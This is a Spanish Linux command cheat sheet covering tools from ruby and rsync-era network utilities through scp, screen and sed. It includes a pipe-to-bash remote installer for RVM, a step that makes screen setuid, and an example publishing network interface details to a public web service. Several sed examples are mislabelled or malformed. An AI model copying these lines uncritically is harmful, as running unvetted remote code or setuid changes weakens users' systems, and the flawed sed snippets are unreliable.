Contiene un conjunto de programas que prueban y miden varios componentes del comportamiento del kernel en tiempo real, como la latencia del temporizador, la latencia de la señal, etc. Incluye las aplicaciones: `cyclicdeadline` [prueba el programador de fechas límite usando un programa estilo prueba cíclica], `cyclicttest` [detección de latencia], `deadline_test` [prueba el programador de fechas límite], `determine_maximum_mpps` [determina los mpps máximos que la máquina puede manejar], `hackbench` [prueba de estrés/comparación del programador], `oslat` [medidas de retraso con RDTSC], `pi_stress` [herencia prioritaria con procesos], `pip_stress` [prueba de estrés para mutex de herencia de prioridad POSIX], `pmqtest` [inicia pares de subprocesos y mide la latencia de la comunicación entre procesos con colas de mensajes POSIX], `ptsematest` [inicia dos subprocesos y mide la latencia de la comunicación entre procesos con POSIX mutex.], `queuelat` [programa de prueba de latencia de cola], `rt-migrate-test` [programa de migración de tareas en tiempo real], `signaltest` [software de prueba de ida y vuelta de señal], `sigwaittest` [inicia dos subprocesos o bifurca dos procesos y mide la latencia entre el envío y la recepción de una señal], `ssdd` [un rastreador que hace un montón de `PTRACE_SINGLESTEP`] y `svsematest` [inicia dos subprocesos o bifurca dos procesos y mide la latencia de los semáforos SYSV]

## ruby

Lenguaje de programación orientado a objetos. Ver `irb`.

Instalación:

```
$ curl -L https://get.rvm.io | bash -s stable --ruby
$ source ~/.rvm/scripts/rvm
$ rvm install 1.9.3
$ rvm --default ruby-1.9.3
Y comprobar o añadir:
```

```
$ nano .bashrc
```

La línea:

```
[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm"
```

```
$ ruby script.rb
ejecutar un script de ruby
```

```
$ ruby -e "puts Dir.glob('*').count"
la opción -e permite introducir directamente código en la línea de comando. Mostrar la cantidad de
archivos del presente directorio en este caso
```

```
$ ruby -v
Versión de ruby
```

## runlevel

conocer el nivel de ejecución actual del sistema [gráfico, monousuario...]

```
$ runlevel
```

## runlim

Herramienta que ejecuta un programa especificado y cuando se cierra, muestra en pantalla o guarda en un archivo el tiempo y el uso de la memoria y la de sus hijos basados en el sistema de archivos proc.

```
$ runlim -o archivo chromium
guarda los datos en "archivo"
```

## run-parts

[debiantools]. Ejecuta todos los ejecutables que se encuentran en el directorio especificado.

```
$ run-parts --list --regex '.*sh$' scripts
lista todos los .sh del directorio "scripts"
```

```
$ run-parts --test --regex '^p.*sh$' scripts
lista los que se ejecutaban del directorio "scripts", que empiecen por "p" y terminen con "sh"
pero no los ejecuta realmente
```

```
$ run-parts --reverse scripts
los ejecuta en orden inverso
```

```
$ run-parts --exit-on-error scripts
salir cuando muestre un código de salida distinto de cero
```

## ruplacer

Reemplazar texto en archivos o directorios.

```
$ ruplacer 'texto a reemplazar' 'texto de reemplazo' archivo
```

```
$ ruplacer --subvert 'texto a reemplazar' 'texto de reemplazo' directorio
en todos los archivos del directorio y dar la opción de si con mayúscula o minúscula
```

```
$ ruplacer --no-regex 'texto viejo' 'texto nuevo'
sustitución literal
```

## ruptime

Muestra el estado de cada host en una red. El comando ruptime proporciona una línea de estado como tiempo de actividad para cada máquina en la red local; Estos se forman a partir de paquetes emitidos por cada host en la red una vez por minuto.

```
# ruptime -l
ordena la lista por el promedio de carga
```

```
# ruptime -a
incluye a todos los usuarios. Sin esta opción, los usuarios cuyas sesiones estén inactivas una
hora o más no están incluidos
```

```
# ruptime -t
ordena por el tiempo de actividad
```

```
# ruptime -u
ordena la lista por el número de usuarios
```

## rusers

Produce una salida similar a `who [ver]`, pero para la lista de hosts o todas las máquinas de la red local. Para cada host que responde a la consulta, se imprime el nombre del host con los nombres de los usuarios actualmente conectados. El comando `rusers` esperará un minuto para atrapar a los que responden tarde.

```
# rusers
muestra una lista de los usuarios de la red registrados en máquinas remotas
```

```
# rusers -h
lista usuarios ordenados alfabéticamente por nombre de host
```

```
# rusers -h oficina
produce una lista de usuarios en el host oficina
```

```
# rusers -u
genera lista de usuarios conectados a máquinas remotas y ordenados por el número de usuarios conectados
```

```
# rusers -i
genera lista de usuarios registrados en máquinas remotas y ordenados de acuerdo con el tiempo de inactividad de cada máquina
```

## rvm

Paquete de gestión para entornos ruby y las gemas de cada proyecto.

```
$ rvm install 1.9.2
Instalar una versión de ruby
```

```
$ rvm requirements
Instalar dependencias
```

```
$ rvm upgrade 1.8.7 ruby-1.8.7-p299
Actualizar de la versión de ruby 1.8.7-p299 a la siguiente
```

```
$ rvm --default ruby-1.9.2
Establecer la versión de ruby por defecto
```

```
$ rvm gemset list
Lista gemsets [ver] creados, mostrando el que está por defecto y versión
```

```
$ rvm gemset create NOMBRE_GEMSET
Crear un gemset
```

```
$ rvm gemset use NOMBRE_GEMSET
Utilizar un gemset
```

```
$ rvm gemset use VERSION@NOMBRE_GEMSET
Especificar versión de ruby y el gemset a cambiar
```

## rwho

Produce una salida similar a `who [ver]`, pero para todas las máquinas de la red local. La información de estado se emite una vez cada 3 minutos por cada host de la red que ejecuta el demonio `rwhod`. Cualquier actividad (como el inicio o el cierre de sesión de un usuario) que tenga lugar entre las emisiones no se refleja hasta la siguiente emisión.

```
# rwho -a
Incluye todos los usuarios. Sin este indicador, los usuarios cuyas sesiones estén inactivas una hora o más no se incluyen en el informe
```

## **rxvt**

Emulador de terminal

```
$ rxvt -geometry 100x40 -e links2 http://google.es
```

Opciones:

-geometry 100x12 (especificar medidas)

-bg red (color de fondo)

-fg white (Color de fuente)

-cr blue (Color del cursor)

-title "Consola linux" (especificar un título)

## **rxvt-unicode**

Emulador de terminal vt102 en color. Incluye las aplicaciones rxvt, urclock, urxvt, urxvtc, urxvtcd y urxvtd

```
$ urxvt
```

```
$ urclock
```

muestra un reloj en la pantalla

```
$ urxvtd
```

activa el daemon que permite lanzar urxvtc

## **rzip**

Compresor/descompresor. Crea los comprimidos con extensión .rz

```
$ rzip archivo.txt
```

Substituye archivo.txt por archivo.txt.rz

```
$ rzip -o archivo.txt -d archivo.txt.rz
```

Descomprimir. Imprescindible dar el nombre del archivo de salida [-o]

---

## S

---

### S

Motor de búsqueda por consola que lo abre en el navegador predeterminado o en una pestaña del mismo si ya está abierto. Usa google como motor de búsqueda predeterminado si no se especifica otro.

```
$ s -l
listar todos los sitios web donde buscar
```

```
$ s --list-tags
Listar las etiquetas que tambien pueden usarse. Por defecto en youtube
```

```
$ s -t video queen
Buscar por una etiqueta
```

```
$ s repositorio debian
Búsqueda básica. Busca "repositorio debian"
```

```
$ s -p duckduckgo repositorio debian
especificando que lo haga con el buscador duckduckgo
```

```
$ s -p amazon bash
buscar en Amazon "bash"
```

```
$ s -p fa lapipaplana
Lo busca en facebook
```

```
$ s -b "midori" red had
buscar con otro navegador "red had"
```

```
$ s -b "chromium --incognito" descargar torrents
en modo incognito con chromium
```

```
$ s -b "firefox --private-window" descargar torrents
en modo incognito con firefox
```

```
$ s -s
abrirlo como servidor en el puerto por defecto 8080
```

### s-tui

[python-pip stress]. Control de la temperatura, la frecuencia, la potencia y la utilización de la CPU, escrito en Python [pip install s-tui].

```
# s-tui
```

## sa

[acct]. Se utiliza para imprimir el resumen de los comandos ejecutados por los usuarios.

```
$ sa -a
todos
```

```
$ sa -m
tiempo por usuarios del sistema
```

```
$ sa -c
Imprime porcentajes para el usuario del comando, el sistema y los valores en tiempo real
```

## sac

Realiza la cuenta de inicio de sesión, mostrando totales por día y por usuarios. También realiza uso promedio y perfil por hora.

```
$ sac -d
muestra el tiempo de inicio de sesión por día
```

```
$ sac -p
por usuario
```

```
$ sac -t
por tty
```

```
$ sac -a
información promedio
```

```
$ sac -U
por niveles de uso simultaneo
```

## sadf

[sysstat]. Herramienta que se utiliza para mostrar los datos recogidos con diferentes herramientas de sysstat como sar, iostat, pidstat etc y que también soporta la exportación en diferentes formatos como CSV, XML, etc. Activar sysstat::

```
# nano /etc/default/sysstat
```

Y colocar:

```
ENABLED="true"
```

```
# sadf -d
mostrar datos del archivo separados por punto y coma
```

```
# sadf -d /var/log/sysstat/sa19 -- -r
indica los parámetros de memoria
```

```
# sadf -x /var/log/sysstat/sa19
exportar los datos a XML)
```

## sagan

Monitor de logs del sistema. El informe en /var/log/sagan/sagan.log

```
# sagan -d syslog -u user
del archivo syslog y el usuario especificado
```

```
# sagan -d malformed
de los malformados
```



## saidar

Aplicación para mostrar estadísticas del sistema, tales como de la CPU, procesos, carga, memoria, intercambio, I/O de red y de discos junto con su espacio libre. Pulsar "q" para salir.

```
$ saidar -d 2 -c
actualización cada 2 segundos, por defecto son 3 y a color
```

## sakura

Terminal

```
# sakura -e tail -f /var/log/fail2ban
Lanzar una aplicación
```

```
$ sakura -n 3 -c 50 -r 30
Lanzar la terminal con 3 pestañas y 50 columnas por 30 líneas
```

Algunos atajos:

```
Ctrl + Shift + T (Nueva pestaña)
Ctrl + Shift + W (Cerrar pestaña)
Alt + Flechas (Moverse entre las pestañas)
Alt + [1-9] (Ir a la pestaña numero ..)
Ctrl + Shift + S (Mostrar barra de scroll)
Ctrl + Shift + RePag (Scroll arriba)
Ctrl + Shift + AvPag (Scroll abajo)
F11 (Maximizar/minimizar la pantalla)
Ctrl + '+' (Aumentar la medida de la letra)
Ctrl + '-' (Disminuir la medida de la letra)
```

## samhain

Verificar integridad y un sistema de detección de intrusiones en grandes redes basadas en UNIX. Después de la instalación, se debe revisar primero el fichero de configuración (por defecto /etc/samhainrc), especialmente con respecto a las direcciones de red como la dirección de correo electrónico y los ficheros/directorios que se quiera comprobar. Los logs en /var/log/samhain\_log

```
# samhain -t init -p info
inicializar la base de datos y mostrar mensajes de gravedad en la consola
```

```
# samhain -t check -D
iniciar samhain en modo demonio para revisar el sistema en intervalos especificados en el archivo de configuración
```

## sane

[Scanner Access Now Easy]. Se trata de una interfaz que proporciona acceso estandarizado a cualquier hardware de escáner de imágenes rasterizadas [escáner de superficie plana, escáner de mano, cámaras de vídeo y fotográficas, captadores de fotogramas, etc]. Incluye las aplicaciones gamma4scanimage, sane-find-scanner [ver], scanimage [ver] y umax\_pp.

## sane-find-scanner

Herramienta para encontrar escáneres SCSI y USB incluso si no son compatibles con ningún backend SANE.

```
$ sane-find-scanner
forma básica
```

```
$ sane-find-scanner -q
Imprime solo los dispositivos, sin comentarios
```

## sar

[sysstat]. Controlando logs. Herramienta de monitorización del rendimiento. Cubre la mayoría de las áreas del sistema: Uso de la CPU [opción -u, por defecto], Colas de procesos y carga del sistema [opción -q], Estadísticas por proceso [-x [PID | ALL]], Creación de procesos [-c] y cambios de contexto [-w], Actividad de los dispositivos de bloque [-d] y TTY [-y], Uso de memoria y espacio de swap [-r], Estadísticas de memoria [-R], de paginación [-B] y de swapping [-W], Estadísticas de interrupciones [-I]. [/var/log/sysstat/sadd .-dd indica el día]

```
$ sar -q 10 3
3 muestras cada 10'
```

```
$ sar -Ruy 5 2
2 muestras cada 5'
```

## sarg

Generador de informes html de análisis de Squid con campos para: usuarios, direcciones IP, bytes, sitios y tiempos. Algunas opciones del archivo de configuración:

```
# nano /etc/sarg/sarg.conf
```

Descomentamos o modificamos las lineas

```
output_dir /var/www/html/squid-reports

date_format e

overwrite_report no

resolve_ip yes

#mail_utility mailx

charset UTF-8
```

```
# sarg -x
lanzar la aplicación
```

Acceder a los informes con el navegador en <http://localhost/squid-reports>

## sash

Sirve como un sustituto interactivo de /bin/sh, para usar cuando este no se puede utilizar. Incluye muchas utilidades estándar como rm, kill, mkdir, chown... Si esta instalado en el sistema y por algún problema este no pudiera iniciarse, es posible que lo pueda reparar usando init=/bin/sash en el indicador de inicio.

```
# sash
entrar en el prompt de la aplicación
```

```
> help (muestra los comandos permitidos)

> help comando (como se usa "comando" del listado anterior)

> cd DIR (se entra en el DIR pero no lo muestra en el prompt)

> exit (salir del prompt)
```

## sbws

Escanea la red Tor y genera archivos de lista de ancho de banda

```
# sbws scanner
escaner la red con la configuración por defecto

# sbws -c ~/.sbwsrsc scanner
escanera la red con un archivo especificado

# sbws --log-level debug generate
genera el archivo v3bw en el directorio v3bw predeterminado

# sbws cleanup
limpia los archivos v3bw anteriores en el directorio predeterminado v3bw
```

## SC

Hoja de cálculo

```
$ sc
```

Teclas básicas:

```
Cursores (moverse entre las celdas)
= (añadir valor numérico o formula)
< (texto alineado a la izquierda)
> (texto alineado a la derecha)
\ (texto Centrado)
e (modificar una celda de tipo numérico)
E (modificar una celda de texto)
x (Borrar contenido de una celda)
P (Guardar el trabajo. Usa extensión .sc)
Q (Salir)
Formulas:
= @sum(A2:C2) (Suma de las casillas A2,B2 y C2)
= @prod(A2:B2) (Producto de A2 por B2)
= @avg(A2:A3) (Media entre A2 y A3)
= @count(A1:A5) (Contar las entradas no en blanco)
Operaciones básicas:
e A1+A4 (Sumar A1 y A4)
e A1-A3 (Restar A3 de A1)
e A1*A2 (Multiplicar A1 por A2)
e A5/A2 (Dividir A5 por A2)
```

## scalpel

Recupera archivos borrados

Editar el archivo /etc/scalpel/scalpel.conf y descomentamos la línea de la extensión que se quiere recuperar. P.e. para un .avi sería la línea 110. Guardar y arrancar la aplicación:

```
# scalpel /dev/sda2 -o carpeta_recup
Se recuperará los avi de sda2 y se guardaran en carpeta_recup
```

## scan

[linuxtv-dvb-apps]. Sintonizar canales de TV. El directorio /usr/share/dvb/dvb-t/ contiene las zonas de cobertura de la televisión digital terrestre.

```
$ scan /usr/share/dvb/dvb-t/es-Rocacorba > channels.conf
```

Copiar el archivo creado en el directorio .vlc/ [si no existe se crea] Abrir vlc con el siguiente comando:

```
$ vlc .vlc/channels.conf
Bucar los canales en View/Play list
```

## scanadf

[sane]. Controlar dispositivos de adquisición de imágenes capaces de devolver series de imágenes, por ejemplo, de un escáner con alimentador automático de documentos [ADF].

```
$ scanadf -o %02d
con salida con dos dígitos [01, 02, 03...] por defecto: image-%04d [image-0001, image-0002...]
```

## scanimage

[sane, sane-utils]. Escanear. Por defecto genera archivos tiff y pnm.

```
$ scanimage -L
Para conocer los datos del escaner
```

```
$ scanimage -v -p > imagen.tiff
Ver la información que genera el progreso y redirigido a un archivo
```

```
$ scanimage -p --mode Color --resolution 200 -l 0 -t 0 -x 190 -y 160 > imagen.pnm
Las opciones de "mode" y "resolution" los muestra el parámetro "help". Las opciones "l" y "t" indican que comenzará a escanear desde la esquina superior izquierda. Los límites de estos parámetros también los muestra "help". "x" e "y" indican la medida de la imagen a escanear. En este caso 190X160 mm
```

```
$ scanimage -p | convert - imagen.png
Redirigiendo la salida a convert que pasa la imagen a png
```

```
$ scanimage --format=png > imagen.png
escanear imagen y guardarla como png
```

```
$ scanimage -d hpaio:/usb/psc_1100_series?serial=MY387F93QWB --format=jpg > image.jpg
con el dispositivo especificado y guardar como jpg
```

```
$ scanimage -T
realizar un test de la imagen a escanear
```

```
$ scanimage -A
ver todas las opciones de escaneo
```

## scanlogd

Detecta escaneos de puertos y escribe una línea por escaneo a través del mecanismo syslog. scanlogd solo registra escaneos de puertos. No los impide. Sólo envía información resumida al registro del sistema. Obviamente, la dirección de origen de los escaneos de puertos puede ser falsificada. No tome ninguna medida contra la fuente de los ataques a menos que haya otra evidencia disponible. Crear o añadir al archivo:

```
# nano /etc/syslog.conf
```

La línea

```
daemon.alert    /var/log/alert
```

```
# systemctl restart scanlogd.service
```

```
# systemctl status scanlogd.service
```

## schroot

Parecido a un chroot [ver] que se ha de usar como root, pero para usuarios normales. schroot permite el acceso a chroots para usuarios normales que utilizan el mismo mecanismo, pero con la comprobación de permisos y permite la configuración automática adicional del entorno chroot, como el montaje de sistemas de archivos adicionales y otras tareas de configuración.

## scout\_realtime

[rubygems]. Herramienta para monitorizar métricas del servidor Linux, ya sea en local o remoto via web. Muestra gráficos de la CPU, memoria, disco, red y procesos. Al ser una aplicación en Ruby ha de instalarse:

```
# gem install scout_realtime
```

```
# scout_realtime
```

```
Lanzar el daemon
```

Abrir el navegador y colocar:

```
http://localhost:5555
```

```
# scout_realtime stop
```

```
detener el daemon
```

Si el monitoreo se realiza en remoto, ha de abrirse el puerto 5555 de la maquina a monitorizar. Visualizar los logs:

```
$ cat .scout/scout_realtime.log
```

## scp

Copiar o transferir archivos o directorios entre una máquina remota y una local

```
$ scp -r textos pepe@IP:
```

```
copiará el directorio "textos" al host remoto en el directorio del usuario
```

```
$ scp pepe@host_o_IP:/home/pepe/*.odt ./pendiente
```

```
Copiará todos los .odt del directorio /home/pepe del host remoto al directorio pendiente de la máquina local
```

```
$ scp pepe@host_o_ip:Descargas/*.avi Pelis
```

```
Descargará todos los .avi del directorio "Descargas" del host remoto a la carpeta "Pelis" de la maquina local
```

```
$ scp *.odt pepe@host_o_IP:/home/pepe/pendiente
```

```
transferirá todos los odt del directorio actual al directorio especificado pendiente del host remoto.
```

```
$ scp archivo usuario@host_o_IP:/home/usuario/Desktop
```

```
copiará archivo en local al escritorio remoto
```

```
$ scp -l 500 -r directorio pepe@host_o_IP:/home/usuario/Desktop
```

```
copiará el directorio al host remoto y limitando el ancho de banda a 500 Kbits/s
```

```
$ scp -P 12000 pep@chost_o_IP:/home/usuario/archivo .
```

```
especificando un puerto en el host remoto y copiar archivo al presente directorio
```

```
$ scp -q archivo.tar.gz usuario@host_o_IP:
```

```
Deshabilitando la salida del comando [barra de progreso y mensaje]
```

```
$ scp -Cv archivo usuario@host_o_IP:
```

```
Activando compresión de datos y mostrando más información del proceso
```

```
$ scp -c aes128-cbc archivo.tar.gz usuario@host_o_IP:
```

```
Habilitar cifrado durante la transferencia [Cifrados posibles:3des-cbc, aes128-cbc, aes192-cbc, aes256-cbc, aes128-ctr, aes192-ctr, aes256-ctr, arcfour128,arcfour256, arcfour, blowfish-cbc y cast128-cbc]
```

Nota.- Si quiere transferirse al \$HOME remoto o desde el \$HOME remoto puede suprimirse la ruta relativa, quedando: scp archivo pepe@host\_o\_IP:

## screen

Compartir sesiones de consola locales o remotas.

```
$ screen
abre una terminal virtual genérica
```

```
$ screen -S tux
nombrar la sesión del que comparte consola
```

```
$ screen -ls (conocer los screen abiertos y sus nombres)
There are screens on:
19680.tux          (Attached)
```

```
19684.xut          (Attached)
```

```
# screen /dev/ttyACM0 115200 (conectar a una consola serie. En el ejemplo se usa la conexión serie
del miniordenador VoCore2
/dev/ttyACM0) y se le especifica la velocidad de 115200 bps. Si quieres usar una tty como usuario
normal debes añadir tu usuario a los grupos uucp y dialout
```

2 Sockets in /tmp/screens/S-juanito.

```
$ screen -x 19680.tux
el que se conecta
```

```
$ screen -r          Retoma el proceso desacoplado con Ctrl+a Ctrl+d
```

```
$ screen -r -S nombre Retoma el proceso "nombre"
```

```
$ screen -R -D Recupera screen después de un Ctrl+d
```

La gestión de screen siempre empieza pulsando las teclas Ctrl+a:

```
Ctrl+a c (Crear nueva ventana)
Ctrl+a k (Matar pantalla activa / sesion activa)
Ctrl+a X (Matar pantalla activa)
Ctrl+a x (Bloquear terminal)
Ctrl+a w (Lista de ventanas)
Ctrl+a 0-9 (Ir a la ventana numerada)
Ctrl+a Ctrl+a (Cambiar a la última ventana)
Ctrl+a Ctrl+p (Cambiar a la anterior ventana)
Ctrl+a S (Dividir la terminal horizontal en regiones)
Ctrl+a | (Dividir la terminal verticalmente)
Ctrl+a Ctrl+n (Cambiar de región)
Ctrl+a :resize (Redimensionar región)
Ctrl+a F (Ajustar tamaño de la pantalla al tamaño de la nueva terminal)
Ctrl+a K (Suprimir region)
Ctrl+a Z (resetear screen)pi
Ctrl+a tab (Moverse entre regiones)
Ctrl+a d (Desacopla un proceso de una terminal, que continua en segundo plano)
Ctrl+a ? (Mostrar pantalla de ayuda)
Ctrl+a Backspace (Regresar a la ventana previa)
Ctrl+q (Si se ha pulsado una combinación errónea, desbloquea la terminal)
Ctrl+s (Lo mismo)
Ctrl+a " (Muestra las shells activas)
Ctrl+a A (Cambiar el título de la ventana)
Ctrl+a Esc (Ver historial)
Ctrl+a h (Guardar pantallazo en la carpeta actual con nombre hardcopy.número [0,1,2...])
Ctrl+a H (Iniciar/parar registro de la ventana actual en la ventana con nombre screenlog.
          número [0,1,2...])
```

Para compartir screen via ssh:

```
Activar el setuid de screen:
# chmod +s /usr/bin/screen
Ejecutar:
$ screen -S nombreSesion
Activar acceso multiusuario:
Ctrl+a :multiuser on
Dar permisos al usuario:
Ctrl+a :acladd usuario
El usuario remoto debera conectar por SSH con la máquina y ejecutar:
$ screen -x usuario/NombreSesion
```

Si deseamos tener una barra inferior donde aparecerá el nombre de las diferentes ventanas y la hora actual, podemos modificar/crear el fichero de configuración ~/.screenrc con el siguiente contenido (<http://www.marblestation.com/?p=915>):

```

# screen -t shell 0
# screen -t shell 0 motd+shell
# screen -t shell2 1
# screen -t server 2
# screen -t Mail 9 tail -f /var/log/messages
select 0
shelltitle "shell"
# skip the startup message
startup_message off
# go to home dir
chdir
# Automatically detach on hangup.
autodetach on
# Change default scrollback value for new windows
defscrollback 1000
# Turns off alternate screen switching in xterms,
# so that text in screen will go into the xterm's scrollback buffer:
termcapinfo xterm* ti@:te@
altscreen on
# start with visual bell as default
vbell on
vbell_msg "bell on %t (%n)"
activity "Activity in %t(%n)"
# Run a screensaver if there's nothing happening for a while.
#idle 600 eval "screen cmatrix -f -o -u 10" "idle 0"
idle 600 lockscreen
### White
#caption always "%{kW} %?-Lw%?%{bw} %n*%f %t?(%u) %?%{kW} %?%+Lw%? % = % (= Wk} %110`%109`%111`
%H load: %l | %D %d-%m-%Y %0c:%s"
### Black
#caption always "%{wk} %?-Lw%?%{bw} %n*%f %t?(%u) %?%{wk} %?%+Lw%? % = % (= kw} %110`%109`%111`
%H load: %l | %D %d-%m-%Y %0c:%s"
caption always "%{wk} %?-Lw%?%{bw} %n*%f %t?(%u) %?%{wk} %?%+Lw%? % = % (= kw} %110`%109`%111`
%H | %D %d-%m-%Y %0c:%s"

```

## screenfetch

Muestra información del equipo. En caso de no estar en los repositorios:

```
$ wget -c https://raw.githubusercontent.com/KittyKatt/screenFetch/master/screenfetch-dev -O screenfetch
```

```
$ ./screenfetch
```

```
$ ./screenfetch -s
```

Realiza una captura de pantalla

```
$ ./screenfetch -n
```

Muestra información sin el logo

```
$ ./screenfetch -c 9 -L
```

Que muestre solo el logo y en rojo. Colores del 0 al 9

```
$ ./screenfetch -E
```

Excluir los parámetros que dan error, si existen

## screenkey

[python-xlib]. Aplicación que, durante una grabación de escritorio en la que salen terminales y comandos, muestra por pantalla una franja negra en la que se puede apreciar las teclas que se pulsán para que las puedan ver mejor los televidentes. Iniciar la aplicación (Se mostrará en el área del tray) y la grabación del escritorio con alguna de las herramientas (gtk-recordMyDesktop, kazam, etc) y pararla con `killall -9 screenkey` cuando finalice la grabación.

## scribes

Editor minimalista especial para programadores.

```

Algunos atajos:
Ctrl + o (Abrir archivo)
Ctrl + s (Guardar)
Ctrl + Mayus + s (Renombrar)
Ctrl + p (Imprimir)
Ctrl + t (Indentar líneas seleccionadas)
Ctrl + Mayus + t (Suprimir indentación)
Alt +t (Convertir espacios en tabulaciones)
Alt + Mayus + t (Convertir tabulaciones a espacios)
Alt + r (Suprimir espacios al final de línea)
Alt + d (Suprimir línea)
Alt + F4 (Cerrar el editor)
F1 (Abrir la ayuda)
F12 (Abrir preferencias)

```

## script

[scriptreplay]. Copia en un fichero toda la actividad tecleada en consola hasta cesar con "exit"

```
$ script -a fichero.txt
```

```
$ script -t 2> sesion.con -a sesion.vid
grabará la sesion. Parar el proceso con ctrl+d
```

```
$ scriptreplay sesion.con sesion.vid
reproduce la sesión grabada
```

```
$ script -f /dev/pts/3
redirigir hacia otra terminal
```

1.-

Varias formas de ejecutar un script:

```
$ bash miscript.sh
```

```
$ sh miscript.sh
```

```
$ source miscript.sh
```

O activando el bit de ejecución en los permisos del fichero:

```
$ chmod +x miscript.sh
```

```
$ ./miscript.sh
```

## scrot

Captura de pantalla

```
$ scrot
Con los valores por defecto
```

```
$ scrot captura.png
```

```
$ scrot -s captura.png
Para seleccionar un área en concreto
```

```
$ scrot -d 5 captura.png
retardar la captura 5 segundos
```

```
$ scrot -t 50 captura.png
para reducir la captura un 50%
```

```
$ scrot -ucd 5
```

```
u captura la ventana que tiene el foco, c que muestre la cuenta regresiva y d 5 los segundos de
retardo
```



## scrounge-ntfs

Permite recuperar datos de particiones ntfs incluso corruptas.

```
# scrounge-ntfs -l /dev/sda
Para vusializar los datos del disco
```

La salida del comando puede ser paracida a:

Drive: /dev/sdc

63	16787862	8	6291456
16787925	471607195	8	6291456

Con estos datos lanzar:

```
# scrounge-ntfs -m 6291456 -c 8 /dev/sdc 16787925 471607195
```

## sd

Como el comando sed [ver] pero simplificado. Por ejemplo con sed, substituir "mañana" por "tarde" en un archivo de texto seria:

```
$ sed s/mañana/tarde/g
```

Y con sd se transformaría en:

```
$ sd mañana tarde
```

## sdate

Genera la "fecha eterna" contando los dias pasados des de septiembre de 1993.

```
$ sdate
viernes, 11049 de setiembre de 1993, 07:47:43 CET
```

## sdcv

Utilidad basada en texto para trabajar con diccionarios en formato StarDict.

```
$ sdcv -l
listar los diccionarios que se instalan
```

```
$ sdcv palabra
Buscar "palabra" en los direccionarios
```

## sdf

[Simple Document Format]. Sistema de desarrollo de documentos en una variedad de formatos desde una única fuente. Los formatos de salida admitidos son PostScript, PDF, HTML, plain text, POD, man pages, LaTeX, MIF, SGML, RTF, MIMS F6 help y MIMS HTX help. Incluye las aplicaciones fm2ps, mif2rtf, pod2sdf, poddiff, prn2ps, sdf, sdfapi, sdfbatch, sdfcli, sdfget y sdngen.

## sdiff

Muestra dos ficheros interactivamente.

```
$ sdiff -W -B file1 file2
Ignorando espacios [W] y lineas en blanco [B]
```

## sdmem

[secure-delete]. Diseñado para eliminar los datos que pueden permanecer en la memoria RAM de forma segura y que no puedan ser recuperados. Es preciso recordar que en las SDRAMs los datos no se borran, sino que se mantienen estáticos y por tanto es fácil extraerles la información necesaria.

```
# sdmem -f -v
en modo rápido [f] y verbose [v]
```

```
# sdmem -v -l -l
producirá un terminal llena de asteriscos **** para mostrar actividad mientras se sobrescribe el
espacio libre en RAM
```

## seashells

[python-pip]. Herramienta que canaliza la salida de un comando de la terminal a la web en tiempo real. Para instalar:

```
# pip install seashells
```

Uso básico:

```
$ ip a | seashells
```

```
serving at https://seashells.io/v/NNbRnMCJ
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
...
Abriendo el navegador y colocando la url que da la linea "serving at https://seashells.io/v/
NNbRnMCJ" mostrará la salida del comando.
```

```
$ htop | seashells --delay 5
con actualización automática cada espacio de tiempo indicado
```

## sed

Permite borrar líneas, registros o sustituir cadenas de caracteres dentro de las líneas.

Archivo base para ejemplo (Empleado -- Precio/hora -- Horas trabajadas Cómo las cobra):

```
$ cat lista
Juan Gomez 6 10 banco
Clara Fuentes 7 12 banco
Antonio Cano 6 13 metálico
José Bueno 7 0 banco
Matías Crespo 5 8 metálico
Isabel Ruiz 7 0 metálico
María Monzón 9 16 metálico
```

```
$ sed -n 4p lista
Mostrar la línea 4 del fichero
```

```
$ sed -n 4,5p lista
Mostrar la 4ª y la 5ª
```

```
$ sed -n '4,$p' lista
Mostrar de la 3ª al final del fichero
```

```
$ sed -n '/^Ant/, $p' lista
Mostrar desde la primera línea que empieza por Ant hasta el final
```

```
$ sed -n '/Clara/,/Bueno/p' lista
Mostrar sólo los párrafos desde Clara hasta Bueno
```

```
$ sed G lista
Mostrar cada línea seguida de una línea en blanco
```

```
$ sed n;d lista
Suprimir las lineas en blanco
```

```
$ sed -n '/Ju/p' lista
Mostrar las lineas que cumplen el patrón Ju en alguno de sus campos
```

```
$ sed '4d' lista
Borrar la 4ª línea del fichero
```

```
$ sed -e \d lista
Borrar la última línea del fichero
```

```
$ sed '$d' lista
Lo mismo
```

```
$ sed -e '/J/d' lista
Borrar las lineas que empiecen por "J"
```

```
$ sed '2d' lista
Borrar la segunda línea
```

```
$ sed '1,2d' lista
Borrar la 1ª y la 2ª
```

```
$ sed -e 's/ .*//' lista
Borrar a partir del primer espacio en blanco
```

```
$ sed -e '/^Ant/, $d' lista
Borrar desde la primera línea que empieza por "Ant" hasta el final
```

```
$ sed '2,/Ruiz/d' lista
Borrar desde la 2 línea hasta la que tenga "Ruiz"
```

```
$ sed '/^$/d lista
Borrar las lineas en blanco de un archivo. En "lista" no procede
```

```
$ sed '3!s/metálico/gratis/' lista
Cambiar "metálico" por "gratis" excepto en la 3 línea
```

```
$ sed '/Cano!/s/met/tem/' lista
Cambiar "met" por "tem" en las lineas que no tengan "Cano"
```

```
$ sed 's/banco/cheque/' lista
Cambiar campos: banco por cheque
```

```
$ sed 'y/J-C/j-c/' lista
Cambiar las "J" y la "C" mayúsculas por minúsculas
```

```
$ sed -e "s/[aeio]/u/g" lista
Substituye las vocales por "u"
```

```
$ sed -e 's/ /\t/g' lista
Substituir los espacios por tabulaciones
```

```
$ sed -e :a -e 's/^\{1,77\}$ / &;ta' -e 's/( *)\1/\1/' lista
Alinear al centro
```

```
$ cat lista | sed -n '4,$p'
Todas las opciones pueden usarse como tubería substituyendo "lista" por cat lista |
```

```
$ sed -n '$=' lista
Contar lineas de un archivo [emulador de wc -l]
```

```
$ sed 's/^/ /' lista
Insertar 5 espacios en blanco delante de cada línea
```

```
$ sed '2i\ ' lista
Insertar una línea en blanco despues de la primera línea
```

```
$ sed '2i\ ' | sed '4i\ ' lista
Insertar una línea en blanco despues de la primera línea y de la tercera
```

```
$ sed -n 's/Fuentes/Ruiz/p' lista
Imprimir solo líneas reemplazadas. La opción -n suprime filas duplicadas generadas por el
indicador /p e imprime las líneas reemplazadas solo una vez
```

```
$ sed -i 'n;G;' lista
Insertar una línea en blanco cada 2 líneas
```

Otros ejemplos:

```
$ sed -e '/^#/d' /etc/fstab
